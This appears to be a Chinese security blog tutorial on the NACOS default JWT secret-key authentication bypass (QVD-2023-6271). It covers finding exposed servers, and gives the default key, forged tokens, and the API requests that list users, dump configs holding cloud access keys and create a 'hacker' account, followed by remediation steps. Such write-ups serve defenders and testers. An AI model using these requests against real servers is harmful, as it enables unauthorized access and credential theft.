前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >漏洞实战(1):NACOS默认密钥漏洞QVD-2023-6271

漏洞实战(1):NACOS默认密钥漏洞QVD-2023-6271

作者头像
OneMoreThink
发布2024-10-15 11:43:30
1130
发布2024-10-15 11:43:30
举报
文章被收录于专栏:用户2967688的专栏

1、原理

NACOS[1],/nɑ:kəʊs/,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。

<=2.2.0<=1.4.4的版本中,NACOS的配置文件conf/application.properties存在默认密钥nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

该密钥用于加密用户帐号,生成用户登陆后的身份令牌accessToken,类型是JWT[2](JSON Web Token)。

攻击者可以使用默认密钥和常见帐号生成身份令牌,从而绕过身份认证,直接获得NACOS的访问权限。

2、危害

攻击者获得NACOS的访问权限后,会查看NACOS管理的所有配置文件,翻找里面的帐号密码,例如云服务的AKSK、Java程序的JDBC,从而获得对应服务的访问权限。

3、攻击

3.1、资产发现

搜索资产

FOFA[3]app="NACOS"

查看版本

代码语言:javascript
复制
# 请求地址

/nacos/v1/console/server/state

# 响应示例

{"version":"2.2.0","standalone_mode":"standalone","function_mode":null}

3.2、漏洞利用

部署服务

1、下载地址:2.2.0 (Dec 14, 2022)[4]1.4.4 (Aug 8th, 2022)[5]

2、打开鉴权开关:将配置文件conf/application.properties中的 nacos.core.auth.enabled设置为on

3.1、Linux中部署:配置环境变量export JAVA_HOME=/usr/lib/jvm/java-17-openjdk-amd64、开启服务bash bin/startup.sh -m standalone、关闭服务 bash bin/shutdown.sh

3.2、Windows中部署:配置环境变量此电脑 - 属性 - 高级系统设置 - 高级 - 环境变量 – JAVA_HOME= C:\Program Files\Java\jdk1.8.0_361、开启服务bin/startup.cmd-m standalone、关闭服务bin\shutdown.cmd

生成accessToken

生成地址:JWT官网[6]

关键参数:

1、常见帐号:例如nacos、nac0s、nacosss、nacos1、admin

2、默认密钥:SecretKey012345678901234567890123456789012345678901234567890123456789

其他参数:

3、签名算法:HS256(HMAC SHA256,JWT默认)

4、过期时间:在Linux中使用命令date +%s -d '2024-03-10 00:00:00'生成过期时间

5、是否启用Base64编码:是(NACOS建议)

查看帐号:常用于渗透测试或漏洞扫描,证明漏洞存在。

代码语言:javascript
复制
# 请求地址(GET)

/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxMDAwMDAwMH0.l5OewNgzUxgyFdy7aAQBNfst7FOZ9bE9cHoLd9dMX74 &pageNo=1&pageSize=9&search=accurate

# 响应示例

{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}

查看配置:常用于红蓝对抗,翻找帐号密码,获取更多权限。

代码语言:javascript
复制
# 请求地址(GET)

/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=&search=accurate&accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxMDAwMDAwMH0.l5OewNgzUxgyFdy7aAQBNfst7FOZ9bE9cHoLd9dMX74

# 响应示例

{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"id":"740458855550423040","dataId":"aliyun.yaml","group":"DEFAULT_GROUP","content":"aliyun:\n    access-key-id: RzRRFE5tQqsxAieELkMDLTAI\n    access-key-secret: 52dW2iDdPzmddUBEDlKHej5uYddK89","md5":null,"encryptedDataKey":null,"tenant":"","appName":"","type":"yaml"}]}

创建帐号,登陆后台,查看配置:同红蓝对抗场景。

代码语言:javascript
复制
# 请求地址(POST)

/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwOTk5MTEwOX0.h2WWx4rr9_pxbYzRe2Psrw5JDY3mKzXiUK-FhMKCkto&username=hacker&password=123456

# 响应示例

{"code":200,"message":null,"data":"create user ok!"}

4、防御

生成身份令牌accessToken需要两个关键参数:用户帐号、加密密钥。只需将默认的加密密钥修改掉,攻击者就无法伪造身份令牌,从而修复该漏洞。

以下内容参考Nacos 文档[7]中的自定义密钥部分,以及关于Nacos默认token.secret.key及server.identity风险说明及解决方案公告[8]

修改默认密钥的位置

配置文件:conf/application.properties

默认密钥:

代码语言:javascript
复制
### The default token(Base64 String):

nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

### 2.1.0 版本后    

nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

修改默认密钥的注意事项

1、原始密钥长度不得低于32字符,推荐将原始密钥进行Base64编码,例如:

代码语言:javascript
复制
### 原始密钥(刚好32字符)

ThisIsMyCustomSecretKey012345678

### The default token(Base64 String):

nacos.core.auth.default.token.secret.key=VGhpc0lzTXlDdXN0b21TZWNyZXRLZXkwMTIzNDU2Nzg=

### 2.1.0 版本后

nacos.core.auth.plugin.nacos.token.secret.key=VGhpc0lzTXlDdXN0b21TZWNyZXRLZXkwMTIzNDU2Nzg=

2、鉴权开关是修改之后立马生效的,不需要重启服务端。

3、动态修改token.secret.key时,请确保token是有效的,如果修改成无效值,会导致后续无法登录,请求访问异常。

4、密钥需要保持节点间一致,长时间不一致可能导致403 invalid token错误。

参考资料

[1]

NACOS: https://nacos.io

[2]

JWT: https://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html

[3]

FOFA: https://fofa.info

[4]

2.2.0 (Dec 14, 2022): https://github.com/alibaba/nacos/releases/tag/2.2.0

[5]

1.4.4 (Aug 8th, 2022): https://github.com/alibaba/nacos/releases/tag/1.4.4

[6]

JWT官网: https://jwt.io

[7]

Nacos 文档: https://nacos.io/zh-cn/docs/v2/guide/user/auth.html

[8]

关于Nacos默认token.secret.key及server.identity风险说明及解决方案公告: https://nacos.io/zh-cn/blog/announcement-token-secret-key.html

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-03-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 OneMoreThink 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、原理
  • 2、危害
  • 3、攻击
    • 3.1、资产发现
      • 3.2、漏洞利用
      • 4、防御
        • 参考资料
        相关产品与服务
        网站渗透测试
        网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档